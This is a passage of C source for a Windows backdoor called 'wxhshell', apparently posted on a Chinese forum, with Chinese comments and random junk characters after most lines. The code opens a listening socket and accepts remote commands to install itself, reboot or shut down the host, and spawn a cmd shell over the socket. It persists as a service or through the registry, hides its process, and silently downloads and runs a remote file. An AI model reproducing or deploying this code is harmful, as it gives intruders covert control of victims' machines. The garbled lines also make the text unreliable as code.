  else { bK ?1MiXb  
Y3vX)D}  
    switch(cmd[0]) { 1YJ_1VJ  
  GXT]K>LA  
  // 帮助 |. J,8~x  
  case '?': { |7svA<<[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BCBEX&0hk{  
    break; X|X4L(i  
  } +dqk 6RE  
  // 安装 p//T7r s  
  case 'i': { a$C2}  
    if(Install()) Ho|o,XvLv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hMNJ'i}  
    else <\ y!3;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k0H?9Z4k5  
    break; NFB *1_m  
    } ;M}itM  
  // 卸载 b->eg 8|  
  case 'r': { 1pd 9s8CA  
    if(Uninstall()) ooTc/QEYi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #,@bxsB  
    else tl DY k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3.Ji5~  
    break; Oq*n9V  
    } tRLE,(S,-  
  // 显示 wxhshell 所在路径 |w=Ec#)t4  
  case 'p': { S-isL4D.Z  
    char svExeFile[MAX_PATH]; )D:9R)m  
    strcpy(svExeFile,"\n\r"); 6D/uo$1Y  
      strcat(svExeFile,ExeFile); 1)$%Jr  
        send(wsh,svExeFile,strlen(svExeFile),0); By2s']bw  
    break; 7sXy`+TZ->  
    } j'3j}G%\T  
  // 重启 }P#Vsqe V  
  case 'b': { J4YT)-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *R5`.j =  
    if(Boot(REBOOT)) t:\l&R&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~V @;(_T  
    else { X6Un;UL  
    closesocket(wsh); p`d XqW  
    ExitThread(0); py]KTRzy  
    } lwVk(l Z  
    break; i*X{^A73"  
    } Y^ QKp"  
  // 关机 ]53O}sH>  
  case 'd': { F7\BF  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Tak t_N  
    if(Boot(SHUTDOWN)) N5m'To]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @zo7.'7P   
    else { G;/Q>V  
    closesocket(wsh); YnSbw3U.I  
    ExitThread(0); "\7v  
    } G@9u:\[l  
    break; 5B1G?`]?  
    } NeHx2m+  
  // 获取shell >L8?=>>?\  
  case 's': { os[ZIHph  
    CmdShell(wsh); L~IE,4  
    closesocket(wsh); H#+\nT2m  
    ExitThread(0); O#vn)+Y,*  
    break; q%>7L<r  
  } @|BD|{k  
  // 退出 uG;?vvg>  
  case 'x': { PkTf JQP8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [cDbaq,T  
    CloseIt(wsh); b\:~;  
    break; ZP-dW|<[ x  
    } 3 -tO;GKb  
  // 离开 :V-k'hm &  
  case 'q': { 69Nw/$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 80|onP\L  
    closesocket(wsh); kQLT$8io  
    WSACleanup(); [9OSpq  
    exit(1); Dzr e'  
    break; fuMN"T 6%+  
        } UgR :qjI  
  } _5b0wdB  
  } q]TqI' o  
RwW$O@0  
  // 提示信息 J@QdieW6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vs +QbI6>-  
} -j&Vtr  
  } fp{G|.SA  
8.yCA  
  return; c_#*mA"+  
} 1fY>>*oP  
><=rIhG%H@  
// shell模块句柄 }z wX  
int CmdShell(SOCKET sock) ?W!ry7gXO  
{ LKx`v90p  
STARTUPINFO si; fJy)STQ4  
ZeroMemory(&si,sizeof(si)); .#0H{mk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :=9<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; tw<P)V\h  
PROCESS_INFORMATION ProcessInfo; /g@^H/DO  
char cmdline[]="cmd"; ePEe?o4;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V.8%|-d  
  return 0; Q.A \U>AgV  
} qBYg[K>  
Jt]&;0zn2  
// 自身启动模式 Iyyo3awc  
int StartFromService(void) 0/Z !5-.  
{ hsz^rZ  
typedef struct Qs l80~n_7  
{ |n`PESf_  
  DWORD ExitStatus; 8}BS2C%P  
  DWORD PebBaseAddress; 2bLI%gg3  
  DWORD AffinityMask; Efx=T$%^&  
  DWORD BasePriority; 90fs:.  
  ULONG UniqueProcessId; >F[GVmC  
  ULONG InheritedFromUniqueProcessId; KQ{Lt?S  
}   PROCESS_BASIC_INFORMATION; a8Uk[^5  
uE`r/=4  
PROCNTQSIP NtQueryInformationProcess; {q,?<zBzu  
b9uBdo@o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vd (?$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [jrqzB  
1k[GuG%/K  
  HANDLE             hProcess; 6{=_718l`  
  PROCESS_BASIC_INFORMATION pbi; vk'rA{x  
8eJE>g1J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y5Z!og  
  if(NULL == hInst ) return 0; #!})3_Qc(y  
^=+e?F`:{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ? %(spV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }G'XkoI&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ubbnFE&PD  
G;s"h%Xw98  
  if (!NtQueryInformationProcess) return 0; O~PChUU*Y  
0Z HDBh  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dJi|D  
  if(!hProcess) return 0; -Sz_mr  
n@ [  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; AnMV <  
dZ]Rqr _!  
  CloseHandle(hProcess); W`M6J}oG  
,mKObMu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "3}<8 c  
if(hProcess==NULL) return 0; TH4\HY9qa?  
-V5w]F'  
HMODULE hMod; 68e[:wf  
char procName[255]; [T^?Q%h  
unsigned long cbNeeded; dJD(\a>r.u  
&| !B!eOY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iZxt/}1X0  
exZLj0kvF  
  CloseHandle(hProcess); M0w/wt|  
{C")#m-0  
if(strstr(procName,"services")) return 1; // 以服务启动 y=Q!-~5|fF  
O/b+CSS1  
  return 0; // 注册表启动 C:i|-te  
} XAuI7e  
BStk&b  
// 主模块 kOjf #@c  
int StartWxhshell(LPSTR lpCmdLine) D4Etl5k  
{ (=c1  
  SOCKET wsl; N3%*7{X 9  
BOOL val=TRUE; gU;&$  
  int port=0; ss iokLE  
  struct sockaddr_in door; cb$-6ZE/  
vFQ,5n;fF  
  if(wscfg.ws_autoins) Install(); vt1lR5  
;ME)Og  
port=atoi(lpCmdLine); ~OypE4./1  
.=c<>/ 0  
if(port<=0) port=wscfg.ws_port; Vn|1v4U!  
~h)&&' a  
  WSADATA data; lV6dm=k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; PsnGXcj  
J7+w4q~cB`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \/5RL@X}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |+}G|hx@9  
  door.sin_family = AF_INET; S6D^3n  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gl7|H&&xV  
  door.sin_port = htons(port); }]6f+  
f p[,C1U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z|N3G E(.@  
closesocket(wsl); d 6t:hn  
return 1; ?LP9iY${  
} gfgn68k  
cWLqU  
  if(listen(wsl,2) == INVALID_SOCKET) { ~*.-  
closesocket(wsl); PaWr[ye  
return 1; $`J_:H%  
} X}A'Cg0y  
  Wxhshell(wsl); V/%~F6e  
  WSACleanup(); V diJ>d[  
=,V|OfW  
return 0; v=?2S  
 5@!st  
} I#rubAl  
$}o b,i^W  
// 以NT服务方式启动 tTanW2C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3tAU?sV!  
{ bt/ =Kq#  
DWORD   status = 0; T+IF}4e d  
  DWORD   specificError = 0xfffffff; J'T=q/  
;zH HIdQ>-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _NZ@4+aW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (k?7:h  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; oBQm05x"  
  serviceStatus.dwWin32ExitCode     = 0; L.'}e{ldW  
  serviceStatus.dwServiceSpecificExitCode = 0; Jkt4@h2Q}  
  serviceStatus.dwCheckPoint       = 0; 6iA( o*'Yn  
  serviceStatus.dwWaitHint       = 0; =O$M_1lp  
kG0Yh2;#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~bK9R 0|<  
  if (hServiceStatusHandle==0) return; p&b5% 4P  
kHK0(bYK  
status = GetLastError(); </`yd2>  
  if (status!=NO_ERROR) g(E"4M@t!  
{ t^tmz PWA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^Q}eatEn  
    serviceStatus.dwCheckPoint       = 0; gl%`qf6:O  
    serviceStatus.dwWaitHint       = 0; B&?sF" Y  
    serviceStatus.dwWin32ExitCode     = status; v6=-g$FG  
    serviceStatus.dwServiceSpecificExitCode = specificError; a;AzY'R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Dt|)=a  
    return; EHf\L  
  } L=; -x9  
]d}0l6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /~p+j{0L3W  
  serviceStatus.dwCheckPoint       = 0; 7:E!b=o#  
  serviceStatus.dwWaitHint       = 0; !ZXUPH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  |a^U]  
} TFQ!7'xk)  
2{|$T2?e  
// 处理NT服务事件,比如:启动、停止 iEyeX0nm  
VOID WINAPI NTServiceHandler(DWORD fdwControl) KzU lTl0  
{ V@-)\RZm  
switch(fdwControl) f. }c7  
{ %kshQ%P)?  
case SERVICE_CONTROL_STOP: xg@NQI@7   
  serviceStatus.dwWin32ExitCode = 0; #KlCZ~s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "2ru7Y"  
  serviceStatus.dwCheckPoint   = 0; ,M5}4E7L%s  
  serviceStatus.dwWaitHint     = 0; wf.T3  
  { !^c@shLN4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dEa<g99[?  
  } 2BXy<BM @  
  return; ~nLN`H d  
case SERVICE_CONTROL_PAUSE: bC!`@/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tz NlJ~E  
  break; 5&Ts7& .  
case SERVICE_CONTROL_CONTINUE: =@x`?oev  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w4,Ag{t>  
  break; o`S ?  
case SERVICE_CONTROL_INTERROGATE: OWq'[T4  
  break; k44Q):ncY7  
}; 5*%#o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "UFs~S|e  
} 0pb '\lA  
OPJ: XbG  
// 标准应用程序主函数 Y$K!7Kq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Cizvw'XDV  
{ & WOiik  
Elj_,z  
// 获取操作系统版本 {y=W6uP  
OsIsNt=GetOsVer(); >4` dy  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w'4AJ Q|;  
]  ]U<UJ  
  // 从命令行安装 Z4K+ /<I  
  if(strpbrk(lpCmdLine,"iI")) Install(); C BYX]  
PQmq5N6  
  // 下载执行文件 $lA V6I.  
if(wscfg.ws_downexe) { h"mi"H^o  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <yA}i"-1W  
  WinExec(wscfg.ws_filenam,SW_HIDE); 38ES($  
} ]va>ex$d  
_n8GWBi  
if(!OsIsNt) { q<W=#Sx  
// 如果时win9x,隐藏进程并且设置为注册表启动 W<ZK,kv  
HideProc(); `$LWmm#  
StartWxhshell(lpCmdLine); 6DIZ@oi  
} g6t"mkMY L  
else -/C)l)V}  
  if(StartFromService()) O4 3YY2  
  // 以服务方式启动 $q?$]k|M`  
  StartServiceCtrlDispatcher(DispatchTable); Ox!U8g8c  
else lH^^77"4Qo  
  // 普通方式启动 %.v{N6  
  StartWxhshell(lpCmdLine); DhLqhME53  
sAn0bX  
return 0; N{SQ( %V  
}
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只看该作者 1 发表于: 2006-10-10
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